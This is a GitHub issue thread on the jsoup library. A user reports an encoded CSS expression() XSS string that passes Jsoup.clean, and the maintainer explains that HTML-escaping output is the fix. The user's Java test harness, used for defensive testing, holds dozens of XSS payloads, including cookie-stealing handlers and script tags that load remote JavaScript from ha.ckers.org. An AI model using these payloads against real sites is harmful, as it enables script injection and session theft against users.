Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSS string that gets past jsoup #673

Closed
fhitchen opened this issue Jan 28, 2016 · 7 comments
Closed

XSS string that gets past jsoup #673

fhitchen opened this issue Jan 28, 2016 · 7 comments

Comments

@fhitchen
Copy link

Hi,

This url encoded string

"0%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%36%31%35%35%29%29"

does not get caught by the Jsoup/clean after it has been canonicalized. The result is this XSS attack

"0 sTyLe=X:eX/**/pReSsIoN(alert(66155))"

I'd love to fix it, but don't have a clue where to start.

@jhy
Copy link
Owner

jhy commented Jan 30, 2016

Can you provide a fuller example please? I.e. sample code using cleaner, and the input and output html strings.

@fhitchen
Copy link
Author

fhitchen commented Feb 1, 2016

Sure, here is the full request that was injected into our site.

GET /Application/jsp/ordering/linePopup.jsp?selectedLine=0%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%36%31%35%35%29%29&reservationId=

The encoded data is appended to the selectedLine=0 parameter. We are using the ESAPI encoder latest version and the latest version of jsoup and the snippet below is basically all we are doing in our servlet filter to stop XSS attacks.

for(String attack : attacks) {
String orig = attack;

        // Use the ESAPI library to avoid encoded attacks.
        attack = ESAPI.encoder().canonicalize( attack );

        // Avoid null characters
        attack = attack.replaceAll("\0", "");

        // Clean out HTML
        attack = Jsoup.clean( attack, Whitelist.none() );
        System.out.println(orig + "~" + attack);
    }

The string passes through and we get a XSS style vector in our application response like so...

I don't think it is really serious as all the browsers I have tried it with validate the style settings and reject it but maybe some older IE version don't do that?

@jhy
Copy link
Owner

jhy commented May 6, 2016

I still don't understand what you think the attack is. What's the HTML? Whitelist.none just gives you plain text. What browser is going to do anything with just plain style...? It's not a tag, the expression issn't going to do anything. Can you show the actual HTML you're worried about?

@fhitchen
Copy link
Author

fhitchen commented May 6, 2016

Thanks for contacting me.

We use your excellent Jsoup package to sanitize input fields.

We got dinged by our penetrations testers as this wretched string got
reflected back to our application, these are the details below.

Cross-Site Scripting vulnerability found in Get parameter selectedLine.
The following attack uses plain encoding:

sTyLe=X:eX/**/pReSsIoN(alert(66155))

Cross-Site Scripting vulnerabilities were verified as executing code on the
web application. Cross-Site Scripting occurs when dynamically generated web
pages display user input, such as login information, that is not properly
validated, allowing an attacker to embed malicious scripts into the
generated page and then execute the script on the machine of any user that
views the site. In this instance, the web application was vulnerable to an
automatic payload, meaning the user simply has to visit a page to make the
malicious scripts execute. If successful, Cross-Site Scripting
vulnerabilities can be exploited to manipulate or steal cookies, create
requests that can be mistaken for those of a valid user, compromise
confidential information, or execute malicious code on end user systems.
Recommendations include implementing secure programming
techniques that ensure proper filtration of user-supplied data, and
encoding all user supplied data to prevent inserted scripts being sent to
end users in a format that can be executed.

Cross-Site Scripting: Reflected ( 5649 ) View Description
CWE: 79,80,82,83,87,116,692,811
Kingdom: Input Validation and Representation
https://xxx.com:443/WebApplicationRoot/jsp/ordering/lineAndDeviceChangeNpaNxxPopup.jsp?selectedLine=0%20%73%54%
79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%
72%74%28%36%36%31%35%35%29%29&reservationId=
Page:
Parameter: selectedLine
Request:
GET /WebApplicationRoot/jsp/ordering/lineAndDeviceChangeNpaNxxPopup.jsp?
selectedLine=
0%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%36%31%35%35%29%29&reservationId=
HTTP/1.1
Accept: /
Accept-Lang...TRUNCATED...

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0,
precheck=
0, post-check=0, s-maxage=0
Date: Thu, 24 Dec 2015 08:26:01 GMT
Pragma: no-cache
Content-Type: text/html; charset=ISO-8859-1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 13196
Set-Cookie: ASAPST2=ASAPST3; Path=/; Secure
Vary: Accept-Encoding
Connection: Keep-alive
Via: 1.1 ID-0002262046463354 uproxy-3
...TRUNCATED...
<input type="hidden" name="reservationId" va...TRUNCATED...

As you can see in the response, the value=0 gets passed back with the
appended XSS string.

Is there any way Jsoup can recognize this as an XSS attack, or should we
just be doing validation to see that the value is an expected numeric
value. I guess this would not work for a text input field though either.

regards, Francis.

On Thu, May 5, 2016 at 11:01 PM, Jonathan Hedley notifications@github.com
wrote:

I still don't understand what you think the attack is. What's the HTML?
Whitelist.none just gives you plain text. What browser is going to do
anything with just plain style...? It's not a tag, the expression issn't
going to do anything. Can you show the actual HTML you're worried about?


You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub
#673 (comment)

@jhy
Copy link
Owner

jhy commented May 6, 2016

OK, I'm trying to understand your flow.

You're building a HTML page with a form and the value is set by an input parameter (selectedLine)? And currently you are using jsoup's Whitelist.none to sanitize that input? And then you're just putting that output directly into the HTML value?

If I've understood from your description, that's not the right approach and not what the Whitelist is intended for. The Whitelist / Cleaner is about safely sanitizing HTML for direct presentation in the body. Not in a form field. You don't need the cleaner, you just need to HTML escape the input data when building the HTML. Either create an Element and set the attribute then use the html() method to serialize it, or (my preference) use a HTML templating library like Freemarker and escape the user provided data correctly.

@fhitchen
Copy link
Author

fhitchen commented May 6, 2016

Not quite,

We were using jsoup to sanitize all input that we get from the browser and
so far it has been able to clean out all malicious input that our wonderful
pen testers have tried to get past us, see the extensive test harness
below.

It's just that last one, which is a real crafty piece of obfuscated partial
HTML that gets past the Jsoup.clean(). I had expected that Jsoup would
detect that it was an XSS vector and strip it out like it does with the
other attacks.

I won't waste your valuable time with this any more if you think that this
is not the right approach. I guess we can just do a check to see if the
value is not numeric, and default it to zero or something to stop the
wretched pen testers making our lives miserable.

regards, Francis.

import org.owasp.esapi.reference.DefaultEncoder;
import org.owasp.esapi.ESAPI;
import org.jsoup.Jsoup;
import org.jsoup.safety.Whitelist;

class attacks {

static String[] attacks =
{
" ( 123 ) ",
"t3://localhost:8000",
"/></script><script>alert(123)</script>",
"regular"/> <img src=X onerror="alert(0)"/>",

"regular"style="behavior:url(#default#time2)"onbegin="alert(document.cookie)"",

"';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";"
+

"alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--"
+
"></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
"'';!--"=&{()}",
"<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
"<IMG SRC="javascript:alert('XSS');">",
"<IMG SRC=javascript:alert('XSS')>",
"<IMG SRC=JaVaScRiPt:alert('XSS')>",
"<IMG SRC=javascript:alert("XSS")>",
"<IMG SRC=javascript:alert(\"RSnake says, 'XSS'\")>",
"<IMG """><SCRIPT>alert("XSS")</SCRIPT>">",
"",
"<IMG SRC=# onmouseover="alert('xxs')">",
"<IMG SRC= onmouseover="alert('xxs')">",
"<IMG onmouseover="alert('xxs')">",
"<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))">",
"<IMG
SRC=javascript:alert("
+
"'XSS')>",
"<IMG
SRC=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&"
+

"#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>",
"",
"<IMG SRC="jav ascript:alert('XSS');">",
"<IMG SRC="jav ascript:alert('XSS');">",
"<IMG SRC="jav ascript:alert('XSS');">",
"<IMG SRC="jav ascript:alert('XSS');">",
"<IMG SRC=java\u0000script:alert("XSS")>",
"<IMG SRC=" � javascript:alert('XSS');">",
"<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-.,:;?@[/|\]^`=alert("XSS")>",
"<SCRIPT/SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
"<<SCRIPT>alert("XSS");//<</SCRIPT>",
"<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
"<SCRIPT SRC=//ha.ckers.org/.j>",
"<IMG SRC="javascript:alert('XSS')"",
"<iframe src=http://ha.ckers.org/scriptlet.html <",
"\";alert('XSS');//",
"</TITLE><SCRIPT>alert("XSS");</SCRIPT>",
"<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">",
"<BODY BACKGROUND="javascript:alert('XSS')">",
"<IMG DYNSRC="javascript:alert('XSS')">",
"<IMG LOWSRC="javascript:alert('XSS')">",
"<STYLE>li {list-style-image:
url("javascript:alert('XSS')");}</STYLE>

  • XSS
    ",
    "",
    "<IMG SRC="livescript:[code]">",
    "<BODY ONLOAD=alert('XSS')>",
    "<BGSOUND SRC="javascript:alert('XSS');">",
    "<BR SIZE="&{alert('XSS')}">",
    "<LINK REL="stylesheet" HREF="javascript:alert('XSS');">",
    "<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css\">",
    "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
    "<META HTTP-EQUIV="Link" Content="http://ha.ckers.org/xss.css;
    REL=stylesheet">",
    "<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss\
    ")}</STYLE>",
    "<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>",
    "<IMG STYLE="xss:expr/XSS/ession(alert('XSS'))">",
    "exp/
    ",
    "<STYLE TYPE="text/javascript">alert('XSS');</STYLE>",

    "<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>",
    "<STYLE
    type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>",
    "<XSS STYLE="xss:expression(alert('XSS'))">",
    "<XSS STYLE="behavior: url(xss.htc);">",
    "¼script¾alert(¢XSS¢)¼/script¾",
    "<META HTTP-EQUIV="refresh"
    CONTENT="0;url=javascript:alert('XSS');">",
    "<META HTTP-EQUIV=""refresh"" CONTENT=""0;url=data:text/html
    base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">",
    "<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://
    ;URL=javascript:alert('XSS');">",
    "<IFRAME SRC="javascript:alert('XSS');"></IFRAME>",
    "<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>",
    "<FRAME SRC="javascript:alert('XSS');">",
    "<TABLE BACKGROUND="javascript:alert('XSS')">",
    "

    <TD BACKGROUND="javascript:alert('XSS')">",
    "<DIV STYLE="background-image: url(javascript:alert('XSS'))">",
    "<DIV
    STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">",
    "<DIV STYLE="background-image: url(�javascript:alert('XSS'))">",
    "<DIV STYLE="width: expression(alert('XSS'));">",
    "",
    "<BASE HREF="javascript:alert('XSS');//">",
    "<OBJECT TYPE="text/x-scriptlet" DATA="
    http://ha.ckers.org/scriptlet.html\">",
    "EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash
    movie that contains XSS. Click here for a demo. If you add the attributes
    allowScriptAccess="never" and allownetworking="internal" it can
    mitigate this risk (thank you to Jonathan Vanasco for the info).:" +
    "org/xss.swf" AllowScriptAccess="always">",
    "<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
    A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
    MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
    aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
    IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh
    TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
    AllowScriptAccess="always">",
    "a="get";" +
    "b="URL("";" +
    "c="javascript:";" +
    "d="alert('XSS');")";" +
    "eval(a+b+c+d);",
    "<XML ID="xss"><IMG SRC="javascript:alert('XSS')">" +
    "<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML">",
    "<XML SRC="xsstest.xml" ID=I>" +
    "",
    "" +
    "<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">" +
    "<?import namespace="t" implementation="#default#time2">" +
    "<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">"+
    "",
    "<SCRIPT SRC="http://ha.ckers.org/xss.jpg\"></SCRIPT>",
    "<IMG SRC="
    http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\
    ">",
    " <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html;
    charset=UTF-7"> +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-",
    "<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT =">" SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT a=> SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="
    http://ha.ckers.org/xss.js\"></SCRIPT>",
    "<A HREF="http://66.102.7.147/\">XSS",
    "<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS",
    " <A HREF="http://1113982867/\">XSS",

    "0%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%36%31%35%35%29%29"
    };

    public static void main(String args[]) {
    
         for(String attack : attacks) {
             String orig = attack;
    
    
             // Use the ESAPI library to avoid encoded attacks.
             attack = ESAPI.encoder().canonicalize( attack );
    
             // Avoid null characters
             attack = attack.replaceAll("\0", "");
    
             // Clean out HTML
             attack = Jsoup.clean( attack, Whitelist.none() );
             System.out.println(orig + "~" + attack);
         }
    
    }
    

    }

    On Fri, May 6, 2016 at 11:25 AM, Jonathan Hedley notifications@github.com
    wrote:

    OK, I'm trying to understand your flow.

    You're building a HTML page with a form and the value is set by an input
    parameter (selectedLine)? And currently you are using jsoup's
    Whitelist.none to sanitize that input? And then you're just putting that
    output directly into the HTML value?

    If I've understood from your description, that's not the right approach
    and not what the Whitelist is intended for. The Whitelist / Cleaner is
    about safely sanitizing HTML for direct presentation in the body. Not in a
    form field. You don't need the cleaner, you just need to HTML escape the
    input data when building the HTML. Either create an Element and set the
    attribute then use the html() method to serialize it, or (my preference)
    use a HTML templating library like Freemarker and escape the user provided
    data correctly.


    You are receiving this because you authored the thread.
    Reply to this email directly or view it on GitHub
    XSS string that gets past jsoup  #673 (comment)

@jhy
Copy link
Owner

jhy commented May 7, 2016

Thanks - closing, as described not the right way to use the HTML Cleaner. Just escape the content before putting it into a value.

@jhy jhy closed this as completed May 7, 2016
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants